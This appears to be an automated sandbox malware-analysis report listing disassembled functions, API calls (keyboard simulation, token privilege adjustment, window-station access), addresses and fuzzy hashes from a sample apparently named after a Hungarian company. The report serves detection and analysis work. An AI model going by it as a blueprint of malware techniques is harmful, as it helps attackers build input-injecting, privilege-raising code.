                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memmove
                                                              • String ID:
                                                              • API String ID: 4104443479-0
                                                              • Opcode ID: 5705deba3f61ee9e21b86f78b9917aaa66316ff56d314e732433376a0aabc38e
                                                              • Instruction ID: ed3c387b0be8ea2e81c5fb1a4ce607aef8b5b148d3784e966804958f52b9bb3c
                                                              • Opcode Fuzzy Hash: 5705deba3f61ee9e21b86f78b9917aaa66316ff56d314e732433376a0aabc38e
                                                              • Instruction Fuzzy Hash: FF214BB2604A49EBDB244F25E8817A9BBB4FF14350F20C42DED86C9191EB3880D0D765
                                                              Function 00734DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00734BB5: FreeLibrary.KERNEL32(00000000,?), ref: 00734BEF
                                                                • Part of subcall function 0075525B: __wfsopen.LIBCMT ref: 00755266
                                                              • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,007F52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00734E0F
                                                                • Part of subcall function 00734B6A: FreeLibrary.KERNEL32(00000000), ref: 00734BA4
                                                                • Part of subcall function 00734C70: _memmove.LIBCMT ref: 00734CBA
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Library$Free$Load__wfsopen_memmove
                                                              • String ID:
                                                              • API String ID: 1396898556-0
                                                              • Opcode ID: fc4bcb29687c607ad0c0c7879601e081512a50c1f8cedbf863db62c5ccee82b6
                                                              • Instruction ID: 1656d2d93e6f12eeeda67b1801785e332f7233468fa04733c0cbc1dbc2723b46
                                                              • Opcode Fuzzy Hash: fc4bcb29687c607ad0c0c7879601e081512a50c1f8cedbf863db62c5ccee82b6
                                                              • Instruction Fuzzy Hash: B511E731640206EBEF28AF70CC1AFAD77A4EF44710F108429F942A7182DA7DAD009751
                                                              Function 0076FD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ClearVariant
                                                              • String ID:
                                                              • API String ID: 1473721057-0
                                                              • Opcode ID: afc7f5e8dc31d05bb68bce4740e1f47b44dd34983233ccf39c3ced433864fbfc
                                                              • Instruction ID: 6876e2bc2aa11bc02448a5306c78545dbdefee19c671c5a5b1a2dcf562e643b8
                                                              • Opcode Fuzzy Hash: afc7f5e8dc31d05bb68bce4740e1f47b44dd34983233ccf39c3ced433864fbfc
                                                              • Instruction Fuzzy Hash: 9B2124B4608341DFDB14DF64C445B5ABBE0BF88315F05896CF98A57722D739E809CBA2
                                                              Function 0075072A Relevance: 1.6, APIs: 1, Instructions: 59COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: d6789f5341e25db520a08ae0759d9f30a350092d88967922ba86922f9b0b2a61
                                                              • Instruction ID: 8e8fab61316d5629795f1ed936f513083e726b9919eb47b991bb65e6bb4ce943
                                                              • Opcode Fuzzy Hash: d6789f5341e25db520a08ae0759d9f30a350092d88967922ba86922f9b0b2a61
                                                              • Instruction Fuzzy Hash: E70149724051245FEF314A24AC42AEAB7D8EF88333F10896FFC0896810D6E87C4C8EE0
                                                              Function 0078F73D Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memmove
                                                              • String ID:
                                                              • API String ID: 4104443479-0
                                                              • Opcode ID: 1ae1c48679b6b2f114c07c9a019fded545236127864d2326fb7410a615e64069
                                                              • Instruction ID: d36d8aeadce48bcd1bb41d4ee1e688f5521fd03b45209dacdbd2d9b6d559d979
                                                              • Opcode Fuzzy Hash: 1ae1c48679b6b2f114c07c9a019fded545236127864d2326fb7410a615e64069
                                                              • Instruction Fuzzy Hash: F001F432300225ABDB14EF2DC8819BBB7A9EFC5364724843EF90ACB205E635E901C7D0
                                                              Function 00754863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __lock_file.LIBCMT ref: 007548A6
                                                                • Part of subcall function 00758B28: __getptd_noexit.LIBCMT ref: 00758B28
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: __getptd_noexit__lock_file
                                                              • String ID:
                                                              • API String ID: 2597487223-0
                                                              • Opcode ID: d867cfd4c3dd5225be65a08f278051ef9419bb9d41ccc175879e037ef8c75525
                                                              • Instruction ID: 3f681ffc1d35e56a6db371be6db54ed430aaa41d7392ab296110bf518ddb7dd0
                                                              • Opcode Fuzzy Hash: d867cfd4c3dd5225be65a08f278051ef9419bb9d41ccc175879e037ef8c75525
                                                              • Instruction Fuzzy Hash: 6DF0C871901645EBDF51AF748C0A7EE36A0AF0032BF154414FC24A6191DBFCA999DF52
                                                              Function 00734E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FreeLibrary.KERNEL32(?,?,007F52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00734E7E
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: FreeLibrary
                                                              • String ID:
                                                              • API String ID: 3664257935-0
                                                              • Opcode ID: f19675f23d36996fa5747c916e68426c6b04d45c9af0e5bc80921a66573f4afd
                                                              • Instruction ID: 5a186b1c5c0b2c31ba60893919b85f6f21fc684fadb528e4677e2614daf86262
                                                              • Opcode Fuzzy Hash: f19675f23d36996fa5747c916e68426c6b04d45c9af0e5bc80921a66573f4afd
                                                              • Instruction Fuzzy Hash: 82F06D71541711DFEB389F64E894812BBF1FF1432A7208A7EE1DB82622C77AA844DF40
                                                              Function 00750791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 007507B0
                                                                • Part of subcall function 00737BCC: _memmove.LIBCMT ref: 00737C06
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: LongNamePath_memmove
                                                              • String ID:
                                                              • API String ID: 2514874351-0
                                                              • Opcode ID: 10e5cebc954a87b6eaa36b04703d8e422fbe8ee81643c24d13674c6ba5a0a7d9
                                                              • Instruction ID: 739da40a0c30952a9a585af1d3ad0355396a1a940d76587a5f2b48aa5729db89
                                                              • Opcode Fuzzy Hash: 10e5cebc954a87b6eaa36b04703d8e422fbe8ee81643c24d13674c6ba5a0a7d9
                                                              • Instruction Fuzzy Hash: 7EE0CD7690422857C720D6689C09FEAB7EDDF887A0F0441B6FC0CD7305D964AC8086D0
                                                              Function 0075525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: __wfsopen
                                                              • String ID:
                                                              • API String ID: 197181222-0
                                                              • Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                                              • Instruction ID: 39242536a454a70c0947ec4f3782b4e3e086a8c595f4292ac212938f150a919e
                                                              • Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                                              • Instruction Fuzzy Hash: 34B092B644020CB7CE012A82EC02A893B19AB41764F408020FF0C18162A6B7A6689A8A
                                                              Function 0196B384 Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • Sleep.KERNELBASE(000001F4), ref: 0196B399
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689819127.0000000001969000.00000040.00000020.00020000.00000000.sdmp, Offset: 01969000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_1969000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Sleep
                                                              • String ID:
                                                              • API String ID: 3472027048-0
                                                              • Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
                                                              • Instruction ID: 43afd6e320ffad94d92cec72ddb7724f9822032de27684201b1c629dd1f6ab40
                                                              • Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
                                                              • Instruction Fuzzy Hash: 32E0BF7494110EEFDB00DFA4D5496DD7BB4EF04301F1005A1FD05D7680DB309E548A66
                                                              Function 0196B388 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • Sleep.KERNELBASE(000001F4), ref: 0196B399
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689819127.0000000001969000.00000040.00000020.00020000.00000000.sdmp, Offset: 01969000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_1969000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Sleep
                                                              • String ID:
                                                              • API String ID: 3472027048-0
                                                              • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                              • Instruction ID: a2dbe6500774c3b47521dc3a33a7ef9e5045d38f3313848d7b06c9cb6cce81dc
                                                              • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                              • Instruction Fuzzy Hash: 45E0E67494110EDFDB00DFB4D54969D7BB4EF04301F100161FD05D2280D6309D508A72

                                                              Non-executed Functions

                                                              Function 007BCABC Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 632windowkeyboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00732612: GetWindowLongW.USER32(?,000000EB), ref: 00732623
                                                              • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 007BCB37
                                                              • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 007BCB95
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 007BCBD6
                                                              • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 007BCC00
                                                              • SendMessageW.USER32 ref: 007BCC29
                                                              • _wcsncpy.LIBCMT ref: 007BCC95
                                                              • GetKeyState.USER32(00000011), ref: 007BCCB6
                                                              • GetKeyState.USER32(00000009), ref: 007BCCC3
                                                              • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 007BCCD9
                                                              • GetKeyState.USER32(00000010), ref: 007BCCE3
                                                              • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 007BCD0C
                                                              • SendMessageW.USER32 ref: 007BCD33
                                                              • SendMessageW.USER32(?,00001030,?,007BB348), ref: 007BCE37
                                                              • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 007BCE4D
                                                              • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 007BCE60
                                                              • SetCapture.USER32(?), ref: 007BCE69
                                                              • ClientToScreen.USER32(?,?), ref: 007BCECE
                                                              • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 007BCEDB
                                                              • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 007BCEF5
                                                              • ReleaseCapture.USER32 ref: 007BCF00
                                                              • GetCursorPos.USER32(?), ref: 007BCF3A
                                                              • ScreenToClient.USER32(?,?), ref: 007BCF47
                                                              • SendMessageW.USER32(?,00001012,00000000,?), ref: 007BCFA3
                                                              • SendMessageW.USER32 ref: 007BCFD1
                                                              • SendMessageW.USER32(?,00001111,00000000,?), ref: 007BD00E
                                                              • SendMessageW.USER32 ref: 007BD03D
                                                              • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 007BD05E
                                                              • SendMessageW.USER32(?,0000110B,00000009,?), ref: 007BD06D
                                                              • GetCursorPos.USER32(?), ref: 007BD08D
                                                              • ScreenToClient.USER32(?,?), ref: 007BD09A
                                                              • GetParent.USER32(?), ref: 007BD0BA
                                                              • SendMessageW.USER32(?,00001012,00000000,?), ref: 007BD123
                                                              • SendMessageW.USER32 ref: 007BD154
                                                              • ClientToScreen.USER32(?,?), ref: 007BD1B2
                                                              • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 007BD1E2
                                                              • SendMessageW.USER32(?,00001111,00000000,?), ref: 007BD20C
                                                              • SendMessageW.USER32 ref: 007BD22F
                                                              • ClientToScreen.USER32(?,?), ref: 007BD281
                                                              • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 007BD2B5
                                                                • Part of subcall function 007325DB: GetWindowLongW.USER32(?,000000EB), ref: 007325EC
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 007BD351
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
                                                              • String ID: @GUI_DRAGID$F
                                                              • API String ID: 3977979337-4164748364
                                                              • Opcode ID: a66f730f99a1778731220442ea848e23ea56cc64a79c6e04c08e3a4fd181d57a
                                                              • Instruction ID: a876f9703e95ca014ced21ee2e0c49c52451578e1096cd15a90415aba6bd25db
                                                              • Opcode Fuzzy Hash: a66f730f99a1778731220442ea848e23ea56cc64a79c6e04c08e3a4fd181d57a
                                                              • Instruction Fuzzy Hash: 3542AB74204681EFD721CF28C848FAABFE5FF48710F148629F6558B2A1D739D850DB56
                                                              Function 00746F9E Relevance: 55.8, APIs: 19, Strings: 10, Instructions: 5018COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memmove$_memset
                                                              • String ID: ]~$3ct$DEFINE$P\~$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)$_t
                                                              • API String ID: 1357608183-102268661
                                                              • Opcode ID: cd60f42cd002709cd244167a335d2c91fa9d39b38ccc90483d493b57bdec8e34
                                                              • Instruction ID: 720b60511503ebe1574ca25d20be84b3926f0ac4746d903c84cf2bc6235ea4df
                                                              • Opcode Fuzzy Hash: cd60f42cd002709cd244167a335d2c91fa9d39b38ccc90483d493b57bdec8e34
                                                              • Instruction Fuzzy Hash: CB93B371E40219DFDB28DF58C885BADB7B1FF48710F24816AE945EB281E7789D82CB50
                                                              Function 007348D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetForegroundWindow.USER32(00000000,?), ref: 007348DF
                                                              • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0076D665
                                                              • IsIconic.USER32(?), ref: 0076D66E
                                                              • ShowWindow.USER32(?,00000009), ref: 0076D67B
                                                              • SetForegroundWindow.USER32(?), ref: 0076D685
                                                              • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0076D69B
                                                              • GetCurrentThreadId.KERNEL32 ref: 0076D6A2
                                                              • GetWindowThreadProcessId.USER32(?,00000000), ref: 0076D6AE
                                                              • AttachThreadInput.USER32(?,00000000,00000001), ref: 0076D6BF
                                                              • AttachThreadInput.USER32(?,00000000,00000001), ref: 0076D6C7
                                                              • AttachThreadInput.USER32(00000000,?,00000001), ref: 0076D6CF
                                                              • SetForegroundWindow.USER32(?), ref: 0076D6D2
                                                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 0076D6E7
                                                              • keybd_event.USER32(00000012,00000000), ref: 0076D6F2
                                                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 0076D6FC
                                                              • keybd_event.USER32(00000012,00000000), ref: 0076D701
                                                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 0076D70A
                                                              • keybd_event.USER32(00000012,00000000), ref: 0076D70F
                                                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 0076D719
                                                              • keybd_event.USER32(00000012,00000000), ref: 0076D71E
                                                              • SetForegroundWindow.USER32(?), ref: 0076D721
                                                              • AttachThreadInput.USER32(?,?,00000000), ref: 0076D748
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                                              • String ID: Shell_TrayWnd
                                                              • API String ID: 4125248594-2988720461
                                                              • Opcode ID: 6d63d9e7d9f416f0682318729a5719bc329777bb300b0f0f52768eb703e579bc
                                                              • Instruction ID: effc9667f7da3fadd078131c7ba06e52129b28ae26a166147756a3fbfad40ba6
                                                              • Opcode Fuzzy Hash: 6d63d9e7d9f416f0682318729a5719bc329777bb300b0f0f52768eb703e579bc
                                                              • Instruction Fuzzy Hash: E8319271A40318BAEB302F659C49FBF3F6CEB44F50F108125FE05EA1D1CAB85D11AAA5
                                                              Function 00788310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 007887E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0078882B
                                                                • Part of subcall function 007887E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00788858
                                                                • Part of subcall function 007887E1: GetLastError.KERNEL32 ref: 00788865
                                                              • _memset.LIBCMT ref: 00788353
                                                              • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 007883A5
                                                              • CloseHandle.KERNEL32(?), ref: 007883B6
                                                              • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 007883CD
                                                              • GetProcessWindowStation.USER32 ref: 007883E6
                                                              • SetProcessWindowStation.USER32(00000000), ref: 007883F0
                                                              • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 0078840A
                                                                • Part of subcall function 007881CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00788309), ref: 007881E0
                                                                • Part of subcall function 007881CB: CloseHandle.KERNEL32(?,?,00788309), ref: 007881F2
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
                                                              • String ID: $default$winsta0
                                                              • API String ID: 2063423040-1027155976
                                                              • Opcode ID: 0b7d15ba8308fa7ba0acf405d574fc33413031e7235cf0de791a104d0aa19e1e
                                                              • Instruction ID: bd0f450dc709b8098fafdcbc58d6e3912279f849dc79846f04d4c168655b6f6b
                                                              • Opcode Fuzzy Hash: 0b7d15ba8308fa7ba0acf405d574fc33413031e7235cf0de791a104d0aa19e1e
                                                              • Instruction Fuzzy Hash: BE817DB1940209AFDF51EFA4CC49EEE7BB9FF04704F648169F810A6161DB398E25DB21
                                                              Function 0079C75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindFirstFileW.KERNEL32(?,?), ref: 0079C78D
                                                              • FindClose.KERNEL32(00000000), ref: 0079C7E1
